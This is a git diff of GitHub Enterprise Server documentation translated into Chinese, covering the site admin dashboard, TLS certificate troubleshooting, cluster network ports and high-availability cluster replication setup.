organizations and repositories, with one organization or repository per line. +在“计算其他高级提交者”下,可以计算如果为特定组织和存储库启用 {% data variables.product.prodname_GH_advanced_security %} 将使用多少额外席位。 在“组织和存储库”下,输入或粘贴组织和存储库列表,每行有一个组织或存储库。 ``` example-org octo-org/octo-repo ``` -The result is the number of additional seats that would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for those organizations and repositories. +结果是为这些组织和存储库启用 {% data variables.product.prodname_GH_advanced_security %} 时将使用的额外席位数量。 -For more information about billing for {% data variables.product.prodname_advanced_security %}, see "[About billing for {% data variables.product.prodname_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)." +有关 {% data variables.product.prodname_advanced_security %} 计费的详细信息,请参阅“[关于 {% data variables.product.prodname_advanced_security %} 的计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”。 {% endif %} -## Enterprise overview +## 所有用户 -Refer to this section of the site admin dashboard to manage organizations, people, policies, and settings. +请参阅站点管理员仪表板的此部分以管理组织、人员、策略和设置。 -## Repositories +## 存储库 -This is a list of the repositories on {% data variables.location.product_location %}. You can click on a repository name and access functions for administering the repository. +这是 {% data variables.product.product_location %} 上的存储库列表。 您可以单击仓库名称,然后访问各项功能,对仓库进行管理。 -- [Blocking force pushes to a repository](/enterprise/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) -- [Configuring {% data variables.large_files.product_name_long %}](/enterprise/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) -- [Archiving and unarchiving repositories](/enterprise/admin/guides/user-management/archiving-and-unarchiving-repositories/) +- [阻止对存储库进行强制推送](/enterprise/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) +- [配置 {% data variables.large_files.product_name_long %}](/enterprise/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) +- [存档和取消存档存储库](/enterprise/admin/guides/user-management/archiving-and-unarchiving-repositories/) -## All users +## 所有用户 -Here you can see all of the users on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys). +可以在此查看 {% data variables.product.product_location %} 上的所有用户,并[发起 SSH 密钥审核](/enterprise/admin/guides/user-management/auditing-ssh-keys)。 -## Site admins +## 站点管理员 -Here you can see all of the administrators on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys). +可以在此查看 {% data variables.product.product_location %} 上的所有管理员,并[发起 SSH 密钥审核](/enterprise/admin/guides/user-management/auditing-ssh-keys)。 -## Dormant users -{% ifversion ghes %} -Here you can see and [suspend](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users) all of the inactive users on {% data variables.location.product_location %}. A user account is considered to be inactive ("dormant") when it: -{% endif %} -{% ifversion ghae %} -Here you can see and suspend all of the inactive users on {% data variables.location.product_location %}. A user account is considered to be inactive ("dormant") when it: -{% endif %} +## 休眠用户 +{% ifversion ghes %} 在这里,你可以看到并[取消](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users) {% data variables.product.product_location %} 上所有非活动用户的访问权限。 以下情况下,用户帐户视为处于非活动状态(“休眠”):当用户帐户 {% endif %} {% ifversion ghae %} 在这里,你可以查看和暂停 {% data variables.product.product_location %} 上的所有非活动用户。 以下情况下,会认定用户帐户处于非活动状态(“休眠”):{% endif %} -- Has existed for longer than the dormancy threshold that's set for {% data variables.location.product_location %}. -- Has not generated any activity within that time period. -- Is not a site administrator. +- 存在时间长于为 {% data variables.product.product_location %} 设置的休眠阈值。 +- 在该时间段内没有发生任何活动。 +- 不是站点管理员。 -{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} For more information, see "[Managing dormant users](/enterprise/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)." +{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} 有关详细信息,请参阅“[管理休眠用户](/enterprise/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)”。 -## Suspended users +## 已挂起的用户 -Here you can see all of the users who have been suspended on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys). +可以在此查看 {% data variables.product.product_location %} 上被取消访问权限的所有用户,并[发起 SSH 密钥审核](/enterprise/admin/guides/user-management/auditing-ssh-keys)。 diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md new file mode 100644 index 0000000000..9298007ba5 --- /dev/null +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md @@ -0,0 +1,91 @@ +--- +title: 排查 SSL 错误 +intro: 如果您的设备遇到 SSL 问题,可以采取相应措施加以解决。 +redirect_from: +- /enterprise/admin/articles/troubleshooting-ssl-errors +- /enterprise/admin/categories/dns-ssl-and-subdomain-configuration +- /enterprise/admin/installation/troubleshooting-ssl-errors +- /enterprise/admin/configuration/troubleshooting-ssl-errors +- /admin/configuration/troubleshooting-ssl-errors +versions: + ghes: '*' +type: how_to +topics: +- Enterprise +- Errors +- Infrastructure +- Networking +- Security +- Troubleshooting +shortTitle: Troubleshoot SSL errors +ms.openlocfilehash: cfe73a647b539fa8c9c2aef54f8bc51f2b1becae +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100061" +--- +## 将密码从密钥文件中移除 + +如果您的 Linux 机器上安装了 OpenSSL,可以移除密码。 + +1. 重命名原始密钥文件。 + ```shell + $ mv yourdomain.key yourdomain.key.orig + ``` +2. 生成不含密码的新密钥。 + ```shell + $ openssl rsa -in yourdomain.key.orig -out yourdomain.key + ``` + +运行此命令时系统会提示您输入密钥的密码。 + +有关 OpenSSL 的详细信息,请参阅 [OpenSSL 文档](https://www.openssl.org/docs/)。 + +## 将 SSL 证书或密钥转换为 PEM 格式 + +如果安装了 OpenSSL,可以使用 `openssl` 命令将密钥转换为 PEM 格式。 例如,您可以将密钥从 DER 格式转换为 PEM 格式。 + +```shell +$ openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM +``` + +否则,可以使用 SSL Converter 工具将证书转换为 PEM 格式。 有关详细信息,请参阅 [SSL 转换器工具的文档](https://www.sslshopper.com/ssl-converter.html)。 + +## 上传密钥后安装无响应 + +如果上传 SSL 密钥后 {% data variables.product.product_location %} 无响应,请[联系 {% data variables.product.prodname_enterprise %} 支持部门](https://enterprise.github.com/support),并提供具体详细信息,附上 SSL 证书的副本。 + +## 证书有效性错误 + +如果 Web 浏览器和命令行 Git 等客户端无法验证 SSL 证书的有效性,则会显示错误消息。 这种情况通常发生在自签名证书以及由不被客户端承认的中间根证书颁发的“链式根”证书上。 + +如果您要使用由证书颁发机构 (CA) 签名的证书,那么您上传到 {% data variables.product.prodname_ghe_server %} 的证书文件必须包含具有该 CA 的根证书的证书链。 要创建此类文件,请将整个证书链(“或证书包”)连接到证书末端,确保包含主机名的主要证书在前。 在大多数系统中,您可以使用与下列命令相似的命令来执行此操作: + +```shell +$ cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt +``` + +可从证书颁发机构或 SSL 供应商处下载证书包(例如 `bundle-certificates.crt`)。 + +## 安装自签名或不受信任的证书颁发机构 (CA) 根证书 + +如果您的 {% data variables.product.prodname_ghe_server %} 设备与网络中使用自签名或不受信证书的其他机器进行交互,您需要将签名 CA 的根证书导入到系统范围的证书库中,以通过 HTTPS 访问这些系统。 + +1. 从本地证书颁发机构获取 CA 的根证书并确保其为 PEM 格式。 +2. 以“admin”用户身份在端口 122 上通过 SSH 将文件复制到您的 {% data variables.product.prodname_ghe_server %} 设备。 + ```shell + $ scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin + ``` +3. 以“admin”用户身份在端口 122 上通过 SSH 连接到 {% data variables.product.prodname_ghe_server %} 管理 shell。 + ```shell + $ ssh -p 122 admin@HOSTNAME + ``` +4. 将证书导入到系统范围的证书库中。 + ```shell + $ ghe-ssl-ca-certificate-install -c rootCA.crt + ``` + +## 更新 SSL 证书 + +可使用 `ghe-ssl-certificate-setup` 命令行实用工具生成新的自签名证书或更新 {% data variables.product.product_location %} 的现有 SSL 证书。 有关详细信息,请参阅“[命令行实用工具](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-setup)”。 diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md index eca1544cea..354a424e0b 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md @@ -1,6 +1,6 @@ --- -title: Troubleshooting TLS errors -intro: 'If you run into TLS issues with your appliance, you can take actions to resolve them.' +title: 排查 TLS 错误 +intro: 如果你的设备遇到 TLS 问题,可以采取相应措施加以解决。 redirect_from: - /enterprise/admin/articles/troubleshooting-ssl-errors - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration @@ -19,68 +19,74 @@ topics: - Security - Troubleshooting shortTitle: Troubleshoot TLS errors +ms.openlocfilehash: 855737f89f0380333b1f37c26d512c889f2ee786 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881249' --- -## Removing the passphrase from your key file +## 将密码从密钥文件中移除 -If you have a Linux machine with OpenSSL installed, you can remove your passphrase. +如果您的 Linux 机器上安装了 OpenSSL,可以移除密码。 -1. Rename your original key file. +1. 重命名原始密钥文件。 ```shell $ mv yourdomain.key yourdomain.key.orig ``` -2. Generate a new key without a passphrase. +2. 生成不含密码的新密钥。 ```shell $ openssl rsa -in yourdomain.key.orig -out yourdomain.key ``` -You'll be prompted for the key's passphrase when you run this command. +运行此命令时系统会提示您输入密钥的密码。 -For more information about OpenSSL, see [OpenSSL's documentation](https://www.openssl.org/docs/). +有关 OpenSSL 的详细信息,请参阅 [OpenSSL 文档](https://www.openssl.org/docs/)。 -## Converting your TLS certificate or key into PEM format +## 将 TLS 证书或密钥转换为 PEM 格式 -If you have OpenSSL installed, you can convert your key into PEM format by using the `openssl` command. For example, you can convert a key from DER format into PEM format. +如果安装了 OpenSSL,可以使用 `openssl` 命令将密钥转换为 PEM 格式。 例如,您可以将密钥从 DER 格式转换为 PEM 格式。 ```shell $ openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM ``` -Otherwise, you can use the SSL Converter tool to convert your certificate into the PEM format. For more information, see the [SSL Converter tool's documentation](https://www.sslshopper.com/ssl-converter.html). +否则,可以使用 SSL Converter 工具将证书转换为 PEM 格式。 有关详细信息,请参阅 [SSL 转换器工具的文档](https://www.sslshopper.com/ssl-converter.html)。 -## Unresponsive installation after uploading a key +## 上传密钥后安装无响应 -If {% data variables.location.product_location %} is unresponsive after uploading an TLS key, please [contact {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) with specific details, including a copy of your TLS certificate. Ensure that your private key **is not** included. +如果上传 TLS 密钥后 {% data variables.product.product_location %}无响应,请[联系 {% data variables.product.prodname_enterprise %} 支持部门](https://enterprise.github.com/support),并提供具体详细信息,包括 TLS 证书的副本。 请确保未包含私钥。 -## Certificate validity errors +## 证书有效性错误 -Clients such as web browsers and command-line Git will display an error message if they cannot verify the validity of an TLS certificate. This often occurs with self-signed certificates as well as "chained root" certificates issued from an intermediate root certificate that is not recognized by the client. +如果 Web 浏览器和命令行 Git 等客户端无法验证 TLS 证书的有效性,则会显示错误消息。 这种情况通常发生在自签名证书以及由不被客户端承认的中间根证书颁发的“链式根”证书上。 -If you are using a certificate signed by a certificate authority (CA), the certificate file that you upload to {% data variables.product.prodname_ghe_server %} must include a certificate chain with that CA's root certificate. To create such a file, concatenate your entire certificate chain (or "certificate bundle") onto the end of your certificate, ensuring that the principal certificate with your hostname comes first. On most systems you can do this with a command similar to: +如果您要使用由证书颁发机构 (CA) 签名的证书,那么您上传到 {% data variables.product.prodname_ghe_server %} 的证书文件必须包含具有该 CA 的根证书的证书链。 要创建此类文件,请将整个证书链(“或证书包”)连接到证书末端,确保包含主机名的主要证书在前。 在大多数系统中,您可以使用与下列命令相似的命令来执行此操作: ```shell $ cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt ``` -You should be able to download a certificate bundle (for example, `bundle-certificates.crt`) from your certificate authority or TLS vendor. +可以从证书颁发机构或 TLS 供应商处下载证书捆绑包(例如 `bundle-certificates.crt`)。 -## Installing self-signed or untrusted certificate authority (CA) root certificates +## 安装自签名或不受信任的证书颁发机构 (CA) 根证书 -If your {% data variables.product.prodname_ghe_server %} appliance interacts with other machines on your network that use a self-signed or untrusted certificate, you will need to import the signing CA's root certificate into the system-wide certificate store in order to access those systems over HTTPS. +如果您的 {% data variables.product.prodname_ghe_server %} 设备与网络中使用自签名或不受信证书的其他机器进行交互,您需要将签名 CA 的根证书导入到系统范围的证书库中,以通过 HTTPS 访问这些系统。 -1. Obtain the CA's root certificate from your local certificate authority and ensure it is in PEM format. -2. Copy the file to your {% data variables.product.prodname_ghe_server %} appliance over SSH as the "admin" user on port 122. +1. 从本地证书颁发机构获取 CA 的根证书并确保其为 PEM 格式。 +2. 以“admin”用户身份在端口 122 上通过 SSH 将文件复制到您的 {% data variables.product.prodname_ghe_server %} 设备。 ```shell $ scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin ``` -3. Connect to the {% data variables.product.prodname_ghe_server %} administrative shell over SSH as the "admin" user on port 122. +3. 以“admin”用户身份在端口 122 上通过 SSH 连接到 {% data variables.product.prodname_ghe_server %} 管理 shell。 ```shell $ ssh -p 122 admin@HOSTNAME ``` -4. Import the certificate into the system-wide certificate store. +4. 将证书导入到系统范围的证书库中。 ```shell $ ghe-ssl-ca-certificate-install -c rootCA.crt ``` -## Updating a TLS certificate +## 更新 TLS 证书 -You can generate a new self-signed certificate or update an existing TLS certificate for {% data variables.location.product_location %} with the `ghe-ssl-certificate-setup` command line utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-setup)." +你可以生成新的自签名证书,或者使用 `ghe-ssl-certificate-setup` 命令行实用工具更新 {% data variables.product.product_location %}的现有 TLS 证书。 有关详细信息,请参阅“[命令行实用工具](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-setup)”。 diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md index 3bca1364de..0513b27e5c 100644 --- a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md +++ b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md @@ -1,6 +1,6 @@ --- -title: Cluster network configuration -intro: '{% data variables.product.prodname_ghe_server %} clustering relies on proper DNS name resolution, load balancing, and communication between nodes to operate properly.' +title: 群集网络配置 +intro: '{% data variables.product.prodname_ghe_server %} 集群依靠正确的 DNS 名称解析、负载均衡以及节点之间的通信来正常运行。' redirect_from: - /enterprise/admin/clustering/cluster-network-configuration - /enterprise/admin/enterprise-management/cluster-network-configuration @@ -14,62 +14,68 @@ topics: - Infrastructure - Networking shortTitle: Configure a cluster network +ms.openlocfilehash: d6e4d50077cccc3e5582be0af39bdae0046cd8c8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145098083' --- -## Network considerations +## 网络注意事项 -The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond. +对于集群而言,最简单的网络设计是将节点置于单个 LAN 上。 如果群集必须跨子网,我们不建议在网络之间配置任何防火墙规则。 节点之间的延迟应小于 1 毫秒。 -{% data reusables.enterprise_clustering.network-latency %} +{% ifversion ghes %}为获取高可用性,具有主动节点的网络与具有被动节点的网络之间的延迟必须小于 70 毫秒。 我们不建议在两个网络之间配置防火墙。{% endif %} -### Application ports for end users +### 最终用户的应用程序端口 -Application ports provide web application and Git access for end users. +应用程序端口为最终用户提供 Web 应用程序和 Git 访问。 -| Port | Description | Encrypted | +| 端口 | 说明 | 加密 | | :------------- | :------------- | :------------- | -| 22/TCP | Git over SSH | Yes | -| 25/TCP | SMTP | Requires STARTTLS | -| 80/TCP | HTTP | No
(When SSL is enabled this port redirects to HTTPS) | -| 443/TCP | HTTPS | Yes | -| 9418/TCP | Simple Git protocol port
(Disabled in private mode) | No | +| 22/TCP | 通过 SSH 访问 Git | 是 | +| 25/TCP | SMTP | 需要 STARTTLS | +| 80/TCP | HTTP | 否
(启用 SSL 后,此端口重定向到 HTTPS) | +| 443/TCP | HTTPS | 是 | +| 9418/TCP | 简单的 Git 协议端口
(以私密模式禁用) | 否 | -### Administrative ports +### 管理端口 -Administrative ports are not required for basic application use by end users. +最终用户在使用基本应用程序时不需要管理端口。 -| Port | Description | Encrypted | +| 端口 | 说明 | 加密 | | :------------- | :------------- | :------------- | -| ICMP | ICMP Ping | No | -| 122/TCP | Administrative SSH | Yes | -| 161/UDP | SNMP | No | -| 8080/TCP | Management Console HTTP | No
(When SSL is enabled this port redirects to HTTPS) | -| 8443/TCP | Management Console HTTPS | Yes | +| ICMP | ICMP Ping | 否 | +| 122/TCP | 管理 SSH | 是 | +| 161/UDP | SNMP | 否 | +| 8080/TCP | Management Console HTTP | 否
(启用 SSL 后,此端口重定向到 HTTPS) | +| 8443/TCP | Management Console HTTPS | 是 | -### Cluster communication ports +### 集群通信端口 -If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally. +如果节点之间存在网络级防火墙,则需要访问这些端口。 节点之间的通信未加密。 这些端口不应从外部访问。 -| Port | Description | +| 端口 | 说明 | | :------------- | :------------- | -| 1336/TCP | Internal API | -| 3033/TCP | Internal SVN access | -| 3037/TCP | Internal SVN access | +| 1336/TCP | 内部 API | +| 3033/TCP | 内部 SVN 访问 | +| 3037/TCP | 内部 SVN 访问 | | 3306/TCP | MySQL | -| 4486/TCP | Governor access | -| 5115/TCP | Storage backend | -| 5208/TCP | Internal SVN access | +| 4486/TCP | 管理者访问 | +| 5115/TCP | 存储后端 | +| 5208/TCP | 内部 SVN 访问 | | 6379/TCP | Redis | | 8001/TCP | Grafana | -| 8090/TCP | Internal GPG access | -| 8149/TCP | GitRPC file server access | +| 8090/TCP | 内部 GPG 访问 | +| 8149/TCP | GitRPC 文件服务器访问 | | 8300/TCP | Consul | | 8301/TCP | Consul | | 8302/TCP | Consul | | 9000/TCP | Git Daemon | -| 9102/TCP | Pages file server | -| 9105/TCP | LFS server | +| 9102/TCP | 页面文件服务器 | +| 9105/TCP | LFS 服务器 | | 9200/TCP | Elasticsearch | -| 9203/TCP | Semantic code service | +| 9203/TCP | 语义代码服务 | | 9300/TCP | Elasticsearch | | 11211/TCP | Memcache | | 161/UDP | SNMP | @@ -78,42 +84,42 @@ If a network level firewall is in place between nodes, these ports will need to | 8302/UDP | Consul | | 25827/UDP | Collectd | -## Configuring a load balancer +## 配置负载均衡器 - We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations: + 我们建议使用基于 TCP 的外部负载均衡器,它支持 PROXY 协议来跨节点分配流量。 请考虑以下负载均衡器配置: - - TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests. - - Sticky sessions shouldn't be enabled. + - TCP 端口(如下所示)应转发到运行 `web-server` 服务的节点。 这些是提供外部客户端请求的唯一节点。 + - 不应启用粘性会话。 {% data reusables.enterprise_installation.terminating-tls %} -## Handling client connection information +## 处理客户端连接信息 -Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required. +由于客户端与集群的连接来自负载均衡器,因此客户端 IP 地址可能会丢失。 要正确捕获客户端连接信息,需要考虑其他因素。 {% data reusables.enterprise_clustering.proxy_preference %} {% data reusables.enterprise_clustering.proxy_xff_firewall_warning %} -### Enabling PROXY support on {% data variables.product.prodname_ghe_server %} +### 在 {% data variables.product.prodname_ghe_server %} 上启用 PROXY 支持 -We strongly recommend enabling PROXY support for both your instance and the load balancer. +我们强烈建议您为实例和负载均衡器启用 PROXY 支持。 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %} - - For your instance, use this command: + - 对于您的实例,请使用以下命令: ```shell $ ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply ``` - - For the load balancer, use the instructions provided by your vendor. + - 对于负载均衡器,请使用供应商提供的说明。 {% data reusables.enterprise_clustering.proxy_protocol_ports %} -### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %} +### 在 {% data variables.product.prodname_ghe_server %} 上启用 X-Forwarded-For 支持 {% data reusables.enterprise_clustering.x-forwarded-for %} -To enable the `X-Forwarded-For` header, use this command: +若要启用 `X-Forwarded-For` 标头,请使用以下命令: ```shell $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply @@ -121,12 +127,11 @@ $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply {% data reusables.enterprise_clustering.without_proxy_protocol_ports %} -### Configuring Health Checks -Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability. +### 配置状态检查 +如果预配置的检查在该节点上失败,则状态检查允许负载均衡器停止向未响应的节点发送流量。 如果集群节点出现故障,则与冗余节点配对的状态检查可提供高可用性。 -{% data reusables.enterprise_clustering.health_checks %} -{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} +{% data reusables.enterprise_clustering.health_checks %} {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} -## DNS Requirements +## DNS 要求 {% data reusables.enterprise_clustering.load_balancer_dns %} diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md index a4a6b01075..d769b37ae7 100644 --- a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md +++ b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md @@ -1,6 +1,6 @@ --- -title: Configuring high availability replication for a cluster -intro: 'You can configure a passive replica of your entire {% data variables.product.prodname_ghe_server %} cluster in a different location, allowing your cluster to fail over to redundant nodes.' +title: 为群集配置高可用性复制 +intro: '您可以在不同的位置配置整个 {% data variables.product.prodname_ghe_server %} 群集的被动副本,允许群集故障转移至冗余节点。' miniTocMaxHeadingLevel: 3 redirect_from: - /enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster @@ -14,80 +14,86 @@ topics: - High availability - Infrastructure shortTitle: Configure HA replication +ms.openlocfilehash: 3663fe290fab6644c5650c3f1ff435dfae87bcf4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145100050' --- -## About high availability replication for clusters +## 关于集群的高可用性复制 -You can configure a cluster deployment of {% data variables.product.prodname_ghe_server %} for high availability, where an identical set of passive nodes sync with the nodes in your active cluster. If hardware or software failures affect the datacenter with your active cluster, you can manually fail over to the replica nodes and continue processing user requests, minimizing the impact of the outage. +您可以配置 {% data variables.product.prodname_ghe_server %} 的群集部署以实现高可用性,其中一组相同的被动节点与活动群集中的节点同步。 如果硬件或软件故障影响具有活动群集的数据中心,您可以手动故障转移到副本节点,继续处理用户请求,以尽可能减少中断的影响。 -In high availability mode, each active node syncs regularly with a corresponding passive node. The passive node runs in standby and does not serve applications or process user requests. +在高可用性模式下,每个活动节点定期与相应的被动节点同步。 被动节点在待机状态下运行,不服务于应用程序或处理用户请求。 -We recommend configuring high availability as a part of a comprehensive disaster recovery plan for {% data variables.product.prodname_ghe_server %}. We also recommend performing regular backups. For more information, see "[Configuring backups on your appliance](/enterprise/admin/configuration/configuring-backups-on-your-appliance)." +我们建议配置高可用性,作为 {% data variables.product.prodname_ghe_server %} 全面灾难恢复计划的一部分。 我们还建议进行定期备份。 有关详细信息,请参阅“[在设备上配置备份](/enterprise/admin/configuration/configuring-backups-on-your-appliance)”。 -## Prerequisites +## 先决条件 -### Hardware and software +### 硬件和软件 -For each existing node in your active cluster, you'll need to provision a second virtual machine with identical hardware resources. For example, if your cluster has 11 nodes and each node has 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage, you must provision 11 new virtual machines that each have 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage. +对于活动群集中的每个现有节点,都需要预配第二个具有相同硬件资源的虚拟机。 例如,如果你的群集有 11 个节点,并且每个节点有 12 个 vCP、96 GB 的 RAM 和 750 GB 的附加存储,则必须预配 11 个新虚拟机,每个虚拟机具有 12 个 vCPU、96 GB 的 RAM 和 750 GB 的附加存储。 -On each new virtual machine, install the same version of {% data variables.product.prodname_ghe_server %} that runs on the nodes in your active cluster. You don't need to upload a license or perform any additional configuration. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/installation/setting-up-a-github-enterprise-server-instance)." +在每个新虚拟机上,安装活动群集的节点上运行的相同版本 {% data variables.product.prodname_ghe_server %}。 您不需要上传许可证或执行任何其他配置。 有关详细信息,请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/enterprise/admin/installation/setting-up-a-github-enterprise-server-instance)”。 {% note %} -**Note**: The nodes that you intend to use for high availability replication should be standalone {% data variables.product.prodname_ghe_server %} instances. Don't initialize the passive nodes as a second cluster. +**注意:** 你打算用于高可用性副本的节点应该是独立的 {% data variables.product.prodname_ghe_server %} 实例。 不要将被动节点初始化为第二个群集。 {% endnote %} -### Network +### 网络 -You must assign a static IP address to each new node that you provision, and you must configure a load balancer to accept connections and direct them to the nodes in your cluster's front-end tier. +您必须为预配的每个新节点分配一个静态 IP 地址,并且必须配置负载均衡器以接受连接,并将其引导到群集前端层中的节点。 -{% data reusables.enterprise_clustering.network-latency %} For more information about network connectivity between nodes in the passive cluster, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration)." +我们不建议在具有主动群集的网络和具有被动群集的网络之间配置防火墙。 具有主动节点的网络与具有被动节点的网络之间的延迟必须小于 70 毫秒。 有关被动群集中节点之间网络连接的详细信息,请参阅“[网络配置](/enterprise/admin/enterprise-management/cluster-network-configuration)”。 -## Creating a high availability replica for a cluster +## 为群集创建高可用性副本 -- [Assigning active nodes to the primary datacenter](#assigning-active-nodes-to-the-primary-datacenter) -- [Adding passive nodes to the cluster configuration file](#adding-passive-nodes-to-the-cluster-configuration-file) -- [Example configuration](#example-configuration) +- [将主动节点分配到主数据中心](#assigning-active-nodes-to-the-primary-datacenter) +- [将被动节点添加到群集配置文件](#adding-passive-nodes-to-the-cluster-configuration-file) +- [配置示例](#example-configuration) -### Assigning active nodes to the primary datacenter +### 将主动节点分配到主数据中心 -Before you define a secondary datacenter for your passive nodes, ensure that you assign your active nodes to the primary datacenter. +在为被动节点定义辅助数据中心之前,请确保将活动节点分配给主数据中心。 {% data reusables.enterprise_clustering.ssh-to-a-node %} {% data reusables.enterprise_clustering.open-configuration-file %} -3. Note the name of your cluster's primary datacenter. The `[cluster]` section at the top of the cluster configuration file defines the primary datacenter's name, using the `primary-datacenter` key-value pair. By default, the primary datacenter for your cluster is named `default`. +3. 记下群集主数据中心的名称。 群集配置文件顶部的 `[cluster]` 部分使用 `primary-datacenter` 键值对定义主数据中心的名称。 默认情况下,群集的主数据中心名为 `default`。 ```shell [cluster] - mysql-master = HOSTNAME - redis-master = HOSTNAME + mysql-master = HOSTNAME + redis-master = HOSTNAME primary-datacenter = default ``` - - Optionally, change the name of the primary datacenter to something more descriptive or accurate by editing the value of `primary-datacenter`. + - (可选)通过编辑 `primary-datacenter` 的值,将主数据中心的名称更改为更具描述性或更准确的值。 -4. {% data reusables.enterprise_clustering.configuration-file-heading %} Under each node's heading, add a new key-value pair to assign the node to a datacenter. Use the same value as `primary-datacenter` from step 3 above. For example, if you want to use the default name (`default`), add the following key-value pair to the section for each node. +4. {% data reusables.enterprise_clustering.configuration-file-heading %} 在每个节点标题下,添加新的键值对,以将节点分配给数据中心。 使用上述第 3 步中 `primary-datacenter` 所用的值。 例如,如果要使用默认名称 (`default`),请将以下键值对添加到每个节点的部分。 ``` datacenter = default ``` - When you're done, the section for each node in the cluster configuration file should look like the following example. {% data reusables.enterprise_clustering.key-value-pair-order-irrelevant %} + 完成后,群集配置文件中每个节点的部分应如下所示。 {% data reusables.enterprise_clustering.key-value-pair-order-irrelevant %} ```shell - [cluster "HOSTNAME"] + [cluster "HOSTNAME"] datacenter = default - hostname = HOSTNAME - ipv4 = IP-ADDRESS + hostname = HOSTNAME + ipv4 = IP ADDRESS ... ... ``` {% note %} - **Note**: If you changed the name of the primary datacenter in step 3, find the `consul-datacenter` key-value pair in the section for each node and change the value to the renamed primary datacenter. For example, if you named the primary datacenter `primary`, use the following key-value pair for each node. + **注意:** 如果在步骤 3 中更改了主数据中心的名称,请在每个节点的部分找到 `consul-datacenter` 